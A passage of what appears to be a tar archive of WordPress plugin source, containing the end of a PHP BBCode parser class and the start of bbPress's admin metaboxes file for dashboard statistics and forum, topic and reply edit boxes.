case BBCODE_CHECK:
if (isset($tag_rule['allow'])) {
foreach ($tag_rule['allow'] as $param => $pattern) {
if ($param == '_content') $value = $contents;
else if ($param == '_defaultcontent') {
if (strlen($default_value))
$value = $default_value;
else $value = $contents;
}
else {
if (isset($params[$param]))
$value = $params[$param];
else $value = @$tag_rule['default'][$param];
}
if (!preg_match($pattern, $value)) {
return false;
}
}
return true;
}
switch (@$tag_rule['mode']) {
default:
case BBCODE_MODE_SIMPLE:
$result = true;
break;
case BBCODE_MODE_ENHANCED:
$result = true;
break;
case BBCODE_MODE_INTERNAL:
$result = @call_user_func(Array($this, @$tag_rule['method']), BBCODE_CHECK,
$tag_name, $default_value, $params, $contents);
break;
case BBCODE_MODE_LIBRARY:
$result = @call_user_func(Array($this->defaults, @$tag_rule['method']), $this, BBCODE_CHECK,
$tag_name, $default_value, $params, $contents);
break;
case BBCODE_MODE_CALLBACK:
$result = @call_user_func(@$tag_rule['method'], $this, BBCODE_CHECK,
$tag_name, $default_value, $params, $contents);
break;
}
return $result;
case BBCODE_OUTPUT:
if ($this->plain_mode) {
if (!isset($tag_rule['plain_content']))
$plain_content = Array('_content');
else $plain_content = $tag_rule['plain_content'];
$result = $possible_content = "";
foreach ($plain_content as $possible_content) {
if ($possible_content == '_content'
&& strlen($contents) > 0) {
$result = $contents;
break;
}
if (isset($params[$possible_content])
&& strlen($params[$possible_content]) > 0) {
$result = htmlspecialchars($params[$possible_content]);
break;
}
}
$start = @$tag_rule['plain_start'];
$end = @$tag_rule['plain_end'];
if (isset($tag_rule['plain_link'])) {
$link = $possible_content = "";
foreach ($tag_rule['plain_link'] as $possible_content) {
if ($possible_content == '_content'
&& strlen($contents) > 0) {
$link = $this->UnHTMLEncode(strip_tags($contents));
break;
}
if (isset($params[$possible_content])
&& strlen($params[$possible_content]) > 0) {
$link = $params[$possible_content];
break;
}
}
$params = @parse_url($link);
if (!is_array($params)) $params = Array();
$params['link'] = $link;
$params['url'] = $link;
$start = $this->FillTemplate($start, $params);
$end = $this->FillTemplate($end, $params);
}
return $start . $result . $end;
}
switch (@$tag_rule['mode']) {
default:
case BBCODE_MODE_SIMPLE:
$result = @$tag_rule['simple_start'] . $contents . @$tag_rule['simple_end'];
break;
case BBCODE_MODE_ENHANCED:
$result = $this->Internal_DoEnhancedTag($tag_rule, $params, $contents);
break;
case BBCODE_MODE_INTERNAL:
$result = @call_user_func(Array($this, @$tag_rule['method']), BBCODE_OUTPUT,
$tag_name, $default_value, $params, $contents);
break;
case BBCODE_MODE_LIBRARY:
$result = @call_user_func(Array($this->defaults, @$tag_rule['method']), $this, BBCODE_OUTPUT,
$tag_name, $default_value, $params, $contents);
break;
case BBCODE_MODE_CALLBACK:
$result = @call_user_func(@$tag_rule['method'], $this, BBCODE_OUTPUT,
$tag_name, $default_value, $params, $contents);
break;
}
return $result;
default:
return false;
}
}
function Internal_DoEnhancedTag($tag_rule, $params, $contents) {
$params['_content'] = $contents;
$params['_defaultcontent'] = strlen(@$params['_default']) ? $params['_default'] : $contents;
return $this->FillTemplate(@$tag_rule['template'], $params, @$tag_rule['default']);
}
function Internal_UpdateParamsForMissingEndTag($params) {
switch ($this->tag_marker) {
case '[': $tail_marker = ']'; break;
case '<': $tail_marker = '>'; break;
case '{': $tail_marker = '}'; break;
case '(': $tail_marker = ')'; break;
default: $tail_marker = $this->tag_marker; break;
}
$params['_endtag'] = $this->tag_marker . '/' . $params['_name'] . $tail_marker;
return $params;
}
function Internal_ProcessIsolatedTag($tag_name, $tag_params, $tag_rule) {
if (!$this->DoTag(BBCODE_CHECK, $tag_name, @$tag_params['_default'], $tag_params, "")) {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
return;
}
$this->Internal_CleanupWSByPoppingStack(@$tag_rule['before_tag'], $this->stack);
$output = $this->DoTag(BBCODE_OUTPUT, $tag_name, @$tag_params['_default'], $tag_params, "");
$this->Internal_CleanupWSByEatingInput(@$tag_rule['after_tag']);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $output,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
function Internal_ProcessVerbatimTag($tag_name, $tag_params, $tag_rule) {
$state = $this->lexer->SaveState();
$end_tag = $this->lexer->tagmarker . "/" . $tag_name . $this->lexer->end_tagmarker;
$start = count($this->stack);
$this->lexer->verbatim = true;
while (($token_type = $this->lexer->NextToken()) != BBCODE_EOI) {
if ($this->lexer->text == $end_tag) {
$end_tag_params = $this->lexer->tag;
break;
}
if ($this->output_limit > 0
&& $this->text_length + strlen($this->lexer->text) >= $this->output_limit) {
$text = $this->Internal_LimitText($this->lexer->text,
$this->output_limit - $this->text_length);
if (strlen($text) > 0) {
$this->text_length += strlen($text);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
$this->Internal_DoLimit();
break;
}
$this->text_length += strlen($this->lexer->text);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => $token_type,
BBCODE_STACK_TEXT => htmlspecialchars($this->lexer->text),
BBCODE_STACK_TAG => $this->lexer->tag,
BBCODE_STACK_CLASS => $this->current_class,
);
}
$this->lexer->verbatim = false;
if ($token_type == BBCODE_EOI) {
$this->lexer->RestoreState($state);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
return;
}
$newstart = $this->Internal_CleanupWSByIteratingPointer(@$tag_rule['after_tag'], $start, $this->stack);
$this->Internal_CleanupWSByPoppingStack(@$tag_rule['before_endtag'], $this->stack);
$this->Internal_CleanupWSByEatingInput(@$tag_rule['after_endtag']);
$content = $this->Internal_CollectText($this->stack, $newstart);
array_splice($this->stack, $start);
$this->Internal_ComputeCurrentClass();
$this->Internal_CleanupWSByPoppingStack(@$tag_rule['before_tag'], $this->stack);
$tag_params['_endtag'] = $end_tag_params['_tag'];
$tag_params['_hasend'] = true;
$output = $this->DoTag(BBCODE_OUTPUT, $tag_name,
@$tag_params['_default'], $tag_params, $content);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $output,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
function Internal_ParseStartTagToken() {
$tag_params = $this->lexer->tag;
$tag_name = @$tag_params['_name'];
if (!isset($this->tag_rules[$tag_name])) {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
return;
}
$tag_rule = $this->tag_rules[$tag_name];
$allow_in = is_array($tag_rule['allow_in'])
? $tag_rule['allow_in'] : Array($this->root_class);
if (!in_array($this->current_class, $allow_in)) {
if (!$this->Internal_RewindToClass($allow_in)) {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
return;
}
}
$end_tag = isset($tag_rule['end_tag']) ? $tag_rule['end_tag'] : BBCODE_REQUIRED;
if ($end_tag == BBCODE_PROHIBIT) {
$this->Internal_ProcessIsolatedTag($tag_name, $tag_params, $tag_rule);
return;
}
if (!$this->DoTag(BBCODE_CHECK, $tag_name, @$tag_params['_default'], $tag_params, "")) {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
return;
}
if (@$tag_rule['content'] == BBCODE_VERBATIM) {
$this->Internal_ProcessVerbatimTag($tag_name, $tag_params, $tag_rule);
return;
}
if (isset($tag_rule['class']))
$newclass = $tag_rule['class'];
else $newclass = $this->root_class;
$this->stack[] = Array(
BBCODE_STACK_TOKEN => $this->lexer->token,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => $this->lexer->tag,
BBCODE_STACK_CLASS => ($this->current_class = $newclass),
);
if (!isset($this->start_tags[$tag_name]))
$this->start_tags[$tag_name] = Array(count($this->stack)-1);
else $this->start_tags[$tag_name][] = count($this->stack)-1;
}
function Internal_ParseEndTagToken() {
$tag_params = $this->lexer->tag;
$tag_name = @$tag_params['_name'];
$contents = $this->Internal_FinishTag($tag_name);
if ($contents === false) {
if (@$this->lost_start_tags[$tag_name] > 0) {
$this->lost_start_tags[$tag_name]--;
}
else {
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
return;
}
$start_tag_node = array_pop($this->stack);
$start_tag_params = $start_tag_node[BBCODE_STACK_TAG];
$this->Internal_ComputeCurrentClass();
$this->Internal_CleanupWSByPoppingStack(@$this->tag_rules[$tag_name]['before_tag'], $this->stack);
$start_tag_params['_endtag'] = $tag_params['_tag'];
$start_tag_params['_hasend'] = true;
$output = $this->DoTag(BBCODE_OUTPUT, $tag_name, @$start_tag_params['_default'],
$start_tag_params, $contents);
$this->Internal_CleanupWSByEatingInput(@$this->tag_rules[$tag_name]['after_endtag']);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $output,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
function Parse($string) {
$this->lexer = new BBCodeLexer($string, $this->tag_marker);
$this->lexer->debug = $this->debug;
$old_output_limit = $this->output_limit;
if ($this->output_limit > 0) {
if (strlen($string) < $this->output_limit) {
$this->output_limit = 0;
}
else if ($this->limit_precision > 0) {
$guess_length = $this->lexer->GuessTextLength();
if ($guess_length < $this->output_limit * ($this->limit_precision + 1.0)) {
$this->output_limit = 0;
}
else {
}
}
}
$this->stack = Array();
$this->start_tags = Array();
$this->lost_start_tags = Array();
$this->text_length = 0;
$this->was_limited = false;
if (strlen($this->pre_trim) > 0)
$this->Internal_CleanupWSByEatingInput($this->pre_trim);
$newline = $this->plain_mode ? "\n" : "<br />\n";
while (true) {
if (($token_type = $this->lexer->NextToken()) == BBCODE_EOI) {
break;
}
switch ($token_type) {
case BBCODE_TEXT:
if ($this->output_limit > 0
&& $this->text_length + strlen($this->lexer->text) >= $this->output_limit) {
$text = $this->Internal_LimitText($this->lexer->text,
$this->output_limit - $this->text_length);
if (strlen($text) > 0) {
$this->text_length += strlen($text);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
$this->Internal_DoLimit();
break 2;
}
$this->text_length += strlen($this->lexer->text);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_TEXT,
BBCODE_STACK_TEXT => $this->FixupOutput($this->lexer->text),
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
break;
case BBCODE_WS:
if ($this->output_limit > 0
&& $this->text_length + strlen($this->lexer->text) >= $this->output_limit) {
$this->Internal_DoLimit();
break 2;
}
$this->text_length += strlen($this->lexer->text);
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_WS,
BBCODE_STACK_TEXT => $this->lexer->text,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
break;
case BBCODE_NL:
if ($this->ignore_newlines) {
if ($this->output_limit > 0
&& $this->text_length + 1 >= $this->output_limit) {
$this->Internal_DoLimit();
break 2;
}
$this->text_length += 1;
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_WS,
BBCODE_STACK_TEXT => "\n",
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
}
else {
$this->Internal_CleanupWSByPoppingStack("s", $this->stack);
if ($this->output_limit > 0
&& $this->text_length + 1 >= $this->output_limit) {
$this->Internal_DoLimit();
break 2;
}
$this->text_length += 1;
$this->stack[] = Array(
BBCODE_STACK_TOKEN => BBCODE_NL,
BBCODE_STACK_TEXT => $newline,
BBCODE_STACK_TAG => false,
BBCODE_STACK_CLASS => $this->current_class,
);
$this->Internal_CleanupWSByEatingInput("s");
}
break;
case BBCODE_TAG:
$this->Internal_ParseStartTagToken();
break;
case BBCODE_ENDTAG:
$this->Internal_ParseEndTagToken();
break;
default:
break;
}
}
if (strlen($this->post_trim) > 0)
$this->Internal_CleanupWSByPoppingStack($this->post_trim, $this->stack);
$result = $this->Internal_GenerateOutput(0);
$result = $this->Internal_CollectTextReverse($result, count($result) - 1);
$this->output_limit = $old_output_limit;
if ($this->plain_mode) {
$result = preg_replace("/[\\x00-\\x09\\x0B-\\x20]+/", " ", $result);
$result = preg_replace("/(?:[\\x20]*\\n){2,}[\\x20]*/", "\n\n", $result);
$result = trim($result);
}
return $result;
}
}
includes/admin/metaboxes.php000066600000062764151771460310012172 0ustar00<?php

/**
 * bbPress Admin Metaboxes
 *
 * @package bbPress
 * @subpackage Administration
 */

/** Dashboard *****************************************************************/

/**
 * Filter the Dashboard "at a glance" items and append bbPress elements to it.
 *
 * @since 2.6.0 bbPress (r5268)
 *
 * @param array $elements
 * @return array
 */
function bbp_filter_dashboard_glance_items( $elements = array() ) {

	// Bail if user cannot spectate
	if ( ! current_user_can( 'spectate' ) ) {
		return $elements;
	}

	// Get the statistics
	$r = bbp_get_statistics( array(
		'count_pending_topics'  => false,
		'count_private_topics'  => false,
		'count_spammed_topics'  => false,
		'count_trashed_topics'  => false,
		'count_pending_replies' => false,
		'count_private_replies' => false,
		'count_spammed_replies' => false,
		'count_trashed_replies' => false,
		'count_empty_tags'      => false
	) );

	// Users
	if ( isset( $r['user_count'] ) ) {
		$link       = admin_url( 'users.php' );
		$text       = sprintf( _n( '%s User', '%s Users', $r['user_count_int'], 'bbpress' ), $r['user_count'] );
		$elements[] = current_user_can( 'edit_users' )
			? '<a href="' . esc_url( $link ) . '" class="bbp-glance-users">' . esc_html( $text ) . '</a>'
			: esc_html( $text );
	}

	// Forums
	if ( isset( $r['forum_count'] ) ) {
		$link       = add_query_arg( array( 'post_type' => bbp_get_forum_post_type() ), admin_url( 'edit.php' ) );
		$text       = sprintf( _n( '%s Forum', '%s Forums', $r['forum_count_int'], 'bbpress' ), $r['forum_count'] );
		$elements[] = current_user_can( 'publish_forums' )
			? '<a href="' . esc_url( $link ) . '" class="bbp-glance-forums">' . esc_html( $text ) . '</a>'
			: esc_html( $text );
	}

	// Topics
	if ( isset( $r['topic_count'] ) ) {
		$link       = add_query_arg( array( 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit.php' ) );
		$text       = sprintf( _n( '%s Topic', '%s Topics', $r['topic_count_int'], 'bbpress' ), $r['topic_count'] );
		$elements[] = current_user_can( 'publish_topics' )
			? '<a href="' . esc_url( $link ) . '" class="bbp-glance-topics">' . esc_html( $text ) . '</a>'
			: esc_html( $text );
	}

	// Replies
	if ( isset( $r['reply_count'] ) ) {
		$link       = add_query_arg( array( 'post_type' => bbp_get_reply_post_type() ), admin_url( 'edit.php' ) );
		$text       = sprintf( _n( '%s Reply', '%s Replies', $r['reply_count_int'], 'bbpress' ), $r['reply_count'] );
		$elements[] = current_user_can( 'publish_replies' )
			? '<a href="' . esc_url( $link ) . '" class="bbp-glance-replies">' . esc_html( $text ) . '</a>'
			: esc_html( $text );
	}

	// Topic Tags
	if ( bbp_allow_topic_tags() && isset( $r['topic_tag_count'] ) ) {
		$link       = add_query_arg( array( 'taxonomy' => bbp_get_topic_tag_tax_id(), 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit-tags.php' ) );
		$text       = sprintf( _n( '%s Topic Tag', '%s Topic Tags', $r['topic_tag_count_int'], 'bbpress' ), $r['topic_tag_count'] );
		$elements[] = current_user_can( 'manage_topic_tags' )
			? '<a href="' . esc_url( $link ) . '" class="bbp-glance-topic-tags">' . esc_html( $text ) . '</a>'
			: esc_html( $text );
	}

	// Filter & return
	return apply_filters( 'bbp_dashboard_at_a_glance', $elements, $r );
}

/**
 * bbPress Dashboard Right Now Widget
 *
 * Adds a dashboard widget with forum statistics
 *
 * @since 2.0.0 bbPress (r2770)
 *
 * @deprecated 2.6.0 bbPress (r5268)
 */
function bbp_dashboard_widget_right_now() {

	// Get the statistics
	$r = bbp_get_statistics(); ?>

	<div class="table table_content">

		<p class="sub"><?php esc_html_e( 'Discussion', 'bbpress' ); ?></p>

		<table>

			<tr class="first">

				<?php
					$num  = $r['forum_count'];
					$text = _n( 'Forum', 'Forums', $r['forum_count_int'], 'bbpress' );
					if ( current_user_can( 'publish_forums' ) ) {
						$link = add_query_arg( array( 'post_type' => bbp_get_forum_post_type() ), admin_url( 'edit.php' ) );
						$num  = '<a href="' . esc_url( $link ) . '">' . $num  . '</a>';
						$text = '<a href="' . esc_url( $link ) . '">' . $text . '</a>';
					}
				?>

				<td class="first b b-forums"><?php echo $num; ?></td>
				<td class="t forums"><?php echo $text; ?></td>

			</tr>

			<tr>

				<?php
					$num  = $r['topic_count'];
					$text = _n( 'Topic', 'Topics', $r['topic_count_int'], 'bbpress' );
					if ( current_user_can( 'publish_topics' ) ) {
						$link = add_query_arg( array( 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit.php' ) );
						$num  = '<a href="' . esc_url( $link ) . '">' . $num  . '</a>';
						$text = '<a href="' . esc_url( $link ) . '">' . $text . '</a>';
					}
				?>

				<td class="first b b-topics"><?php echo $num; ?></td>
				<td class="t topics"><?php echo $text; ?></td>

			</tr>

			<tr>

				<?php
					$num  = $r['reply_count'];
					$text = _n( 'Reply', 'Replies', $r['reply_count_int'], 'bbpress' );
					if ( current_user_can( 'publish_replies' ) ) {
						$link = add_query_arg( array( 'post_type' => bbp_get_reply_post_type() ), admin_url( 'edit.php' ) );
						$num  = '<a href="' . esc_url( $link ) . '">' . $num  . '</a>';
						$text = '<a href="' . esc_url( $link ) . '">' . $text . '</a>';
					}
				?>

				<td class="first b b-replies"><?php echo $num; ?></td>
				<td class="t replies"><?php echo $text; ?></td>

			</tr>

			<?php if ( bbp_allow_topic_tags() ) : ?>

				<tr>

					<?php
						$num  = $r['topic_tag_count'];
						$text = _n( 'Topic Tag', 'Topic Tags', $r['topic_tag_count_int'], 'bbpress' );
						if ( current_user_can( 'manage_topic_tags' ) ) {
							$link = add_query_arg( array( 'taxonomy' => bbp_get_topic_tag_tax_id(), 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit-tags.php' ) );
							$num  = '<a href="' . esc_url( $link ) . '">' . $num  . '</a>';
							$text = '<a href="' . esc_url( $link ) . '">' . $text . '</a>';
						}
					?>

					<td class="first b b-topic_tags"><span class="total-count"><?php echo $num; ?></span></td>
					<td class="t topic_tags"><?php echo $text; ?></td>

				</tr>

			<?php endif; ?>

			<?php do_action( 'bbp_dashboard_widget_right_now_content_table_end' ); ?>

		</table>

	</div>


	<div class="table table_discussion">

		<p class="sub"><?php esc_html_e( 'Users &amp; Moderation', 'bbpress' ); ?></p>

		<table>

			<tr class="first">

				<?php
					$num  = $r['user_count'];
					$text = _n( 'User', 'Users', $r['user_count_int'], 'bbpress' );
					if ( current_user_can( 'edit_users' ) ) {
						$link = admin_url( 'users.php' );
						$num  = '<a href="' . $link . '">' . $num  . '</a>';
						$text = '<a href="' . $link . '">' . $text . '</a>';
					}
				?>

				<td class="b b-users"><span class="total-count"><?php echo $num; ?></span></td>
				<td class="last t users"><?php echo $text; ?></td>

			</tr>

			<?php if ( isset( $r['topic_count_hidden'] ) ) : ?>

				<tr>

					<?php
						$num  = $r['topic_count_hidden'];
						$text = _n( 'Hidden Topic', 'Hidden Topics', $r['topic_count_hidden_int'], 'bbpress' );
						$link = add_query_arg( array( 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit.php' ) );
						if ( '0' !== $num ) {
							$link = add_query_arg( array( 'post_status' => bbp_get_spam_status_id() ), $link );
						}
						$num  = '<a href="' . esc_url( $link ) . '" title="' . esc_attr( $r['hidden_topic_title'] ) . '">' . $num  . '</a>';
						$text = '<a class="waiting" href="' . esc_url( $link ) . '" title="' . esc_attr( $r['hidden_topic_title'] ) . '">' . $text . '</a>';
					?>

					<td class="b b-hidden-topics"><?php echo $num; ?></td>
					<td class="last t hidden-replies"><?php echo $text; ?></td>

				</tr>

			<?php endif; ?>

			<?php if ( isset( $r['reply_count_hidden'] ) ) : ?>

				<tr>

					<?php
						$num  = $r['reply_count_hidden'];
						$text = _n( 'Hidden Reply', 'Hidden Replies', $r['reply_count_hidden_int'], 'bbpress' );
						$link = add_query_arg( array( 'post_type' => bbp_get_reply_post_type() ), admin_url( 'edit.php' ) );
						if ( '0' !== $num ) {
							$link = add_query_arg( array( 'post_status' => bbp_get_spam_status_id() ), $link );
						}
						$num  = '<a href="' . esc_url( $link ) . '" title="' . esc_attr( $r['hidden_reply_title'] ) . '">' . $num  . '</a>';
						$text = '<a class="waiting" href="' . esc_url( $link ) . '" title="' . esc_attr( $r['hidden_reply_title'] ) . '">' . $text . '</a>';
					?>

					<td class="b b-hidden-replies"><?php echo $num; ?></td>
					<td class="last t hidden-replies"><?php echo $text; ?></td>

				</tr>

			<?php endif; ?>

			<?php if ( bbp_allow_topic_tags() && isset( $r['empty_topic_tag_count'] ) ) : ?>

				<tr>

					<?php
						$num  = $r['empty_topic_tag_count'];
						$text = _n( 'Empty Topic Tag', 'Empty Topic Tags', $r['empty_topic_tag_count_int'], 'bbpress' );
						$link = add_query_arg( array( 'taxonomy' => bbp_get_topic_tag_tax_id(), 'post_type' => bbp_get_topic_post_type() ), admin_url( 'edit-tags.php' ) );
						$num  = '<a href="' . esc_url( $link ) . '">' . $num  . '</a>';
						$text = '<a class="waiting" href="' . esc_url( $link ) . '">' . $text . '</a>';
					?>

					<td class="b b-hidden-topic-tags"><?php echo $num; ?></td>
					<td class="last t hidden-topic-tags"><?php echo $text; ?></td>

				</tr>

			<?php endif; ?>

			<?php do_action( 'bbp_dashboard_widget_right_now_discussion_table_end' ); ?>

		</table>

	</div>

	<?php do_action( 'bbp_dashboard_widget_right_now_table_end' ); ?>

	<div class="versions">

		<span id="wp-version-message">
			<?php printf( __( 'You are using <span class="b">bbPress %s</span>.', 'bbpress' ), bbp_get_version() ); ?>
		</span>

	</div>

	<br class="clear" />

	<?php

	do_action( 'bbp_dashboard_widget_right_now_end' );
}

/** Forums ********************************************************************/

/**
 * Forum meta-box
 *
 * The meta-box that holds all of the additional forum information
 *
 * @since 2.0.0 bbPress (r2744)
 */
function bbp_forum_metabox( $post ) {

	// Post ID
	$post_parent = bbp_get_global_post_field( 'post_parent', 'raw'  );
	$menu_order  = bbp_get_global_post_field( 'menu_order',  'edit' );

	/** Type ******************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Type:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="bbp_forum_type_select"><?php esc_html_e( 'Type:', 'bbpress' ) ?></label>
		<?php bbp_form_forum_type_dropdown( array( 'forum_id' => $post->ID ) ); ?>
	</p>

	<?php

	/** Status ****************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Status:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="bbp_forum_status_select"><?php esc_html_e( 'Status:', 'bbpress' ) ?></label>
		<?php bbp_form_forum_status_dropdown( array( 'forum_id' => $post->ID ) ); ?>
	</p>

	<?php

	/** Visibility ************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Visibility:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="bbp_forum_visibility_select"><?php esc_html_e( 'Visibility:', 'bbpress' ) ?></label>
		<?php bbp_form_forum_visibility_dropdown( array( 'forum_id' => $post->ID ) ); ?>
	</p>

	<hr />

	<?php

	/** Parent ****************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Parent:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="parent_id"><?php esc_html_e( 'Forum Parent', 'bbpress' ); ?></label>
		<?php bbp_dropdown( array(
			'post_type'          => bbp_get_forum_post_type(),
			'selected'           => $post_parent,
			'numberposts'        => -1,
			'orderby'            => 'title',
			'order'              => 'ASC',
			'walker'             => '',
			'exclude'            => $post->ID,

			// Output-related
			'select_id'          => 'parent_id',
			'options_only'       => false,
			'show_none'          => esc_html__( '&mdash; No parent &mdash;', 'bbpress' ),
			'disable_categories' => false,
			'disabled'           => ''
		) ); ?>
	</p>

	<p>
		<strong class="label"><?php esc_html_e( 'Order:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="menu_order"><?php esc_html_e( 'Forum Order', 'bbpress' ); ?></label>
		<input name="menu_order" type="number" step="1" size="4" id="menu_order" value="<?php echo esc_attr( $menu_order ); ?>" />
	</p>

	<input name="ping_status" type="hidden" id="ping_status" value="open" />

	<?php
	wp_nonce_field( 'bbp_forum_metabox_save', 'bbp_forum_metabox' );
	do_action( 'bbp_forum_metabox', $post );
}

/** Topics ********************************************************************/

/**
 * Topic meta-box
 *
 * The meta-box that holds all of the additional topic information
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_topic_metabox( $post ) {

	/** Type ******************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Type:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="bbp_stick_topic"><?php esc_html_e( 'Topic Type', 'bbpress' ); ?></label>
		<?php bbp_form_topic_type_dropdown( array( 'topic_id' => $post->ID ) ); ?>
	</p>

	<?php

	/** Status ****************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Status:', 'bbpress' ); ?></strong>
		<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ( 'auto-draft' === $post->post_status ) ? 'draft' : $post->post_status ); ?>" />
		<label class="screen-reader-text" for="bbp_open_close_topic"><?php esc_html_e( 'Select whether to open or close the topic.', 'bbpress' ); ?></label>
		<?php bbp_form_topic_status_dropdown( array( 'select_id' => 'post_status', 'topic_id' => $post->ID ) ); ?>
	</p>

	<?php

	/** Parent *****************************************************************/

	?>

	<hr />

	<p>
		<strong class="label"><?php esc_html_e( 'Forum:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="parent_id"><?php esc_html_e( 'Forum', 'bbpress' ); ?></label>
		<?php bbp_dropdown( array(
			'post_type'          => bbp_get_forum_post_type(),
			'selected'           => bbp_get_topic_forum_id( $post->ID ),
			'numberposts'        => -1,
			'orderby'            => 'title',
			'order'              => 'ASC',
			'walker'             => '',
			'exclude'            => '',

			// Output-related
			'select_id'          => 'parent_id',
			'options_only'       => false,
			'show_none'          => esc_html__( '&mdash; No forum &mdash;', 'bbpress' ),
			'disable_categories' => current_user_can( 'edit_forums' ),
			'disabled'           => ''
		) ); ?>
	</p>

	<input name="ping_status" type="hidden" id="ping_status" value="open" />

	<?php
	wp_nonce_field( 'bbp_topic_metabox_save', 'bbp_topic_metabox' );
	do_action( 'bbp_topic_metabox', $post );
}

/** Replies *******************************************************************/

/**
 * Reply meta-box
 *
 * The meta-box that holds all of the additional reply information
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_reply_metabox( $post ) {

	// Get some meta
	$reply_topic_id = bbp_get_reply_topic_id( $post->ID );
	$reply_forum_id = bbp_get_reply_forum_id( $post->ID );
	$topic_forum_id = bbp_get_topic_forum_id( $reply_topic_id );

	/** Status ****************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Status:', 'bbpress' ); ?></strong>
		<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ( 'auto-draft' === $post->post_status ) ? 'draft' : $post->post_status ); ?>" />
		<label class="screen-reader-text" for="post_status"><?php esc_html_e( 'Select what status to give the reply.', 'bbpress' ); ?></label>
		<?php bbp_form_reply_status_dropdown( array( 'select_id' => 'post_status', 'reply_id' => $post->ID ) ); ?>
	</p>

	<hr />

	<?php

	/** Forum *****************************************************************/

	// Only allow individual manipulation of reply forum if there is a mismatch
	if ( ( $reply_forum_id !== $topic_forum_id ) && ( current_user_can( 'edit_others_replies' ) || current_user_can( 'moderate', $post->ID ) ) ) : ?>

		<p>
			<strong class="label"><?php esc_html_e( 'Forum:', 'bbpress' ); ?></strong>
			<label class="screen-reader-text" for="bbp_forum_id"><?php esc_html_e( 'Forum', 'bbpress' ); ?></label>
			<?php bbp_dropdown( array(
				'post_type'          => bbp_get_forum_post_type(),
				'selected'           => $reply_forum_id,
				'numberposts'        => -1,
				'orderby'            => 'title',
				'order'              => 'ASC',
				'walker'             => '',
				'exclude'            => '',

				// Output-related
				'select_id'          => 'bbp_forum_id',
				'options_only'       => false,
				'show_none'          => esc_html__( '&mdash; No reply &mdash;', 'bbpress' ),
				'disable_categories' => current_user_can( 'edit_forums' ),
				'disabled'           => ''
			) ); ?>
		</p>

	<?php endif;

	/** Topic *****************************************************************/

	?>

	<p>
		<strong class="label"><?php esc_html_e( 'Topic:', 'bbpress' ); ?></strong>
		<label class="screen-reader-text" for="parent_id"><?php esc_html_e( 'Topic', 'bbpress' ); ?></label>
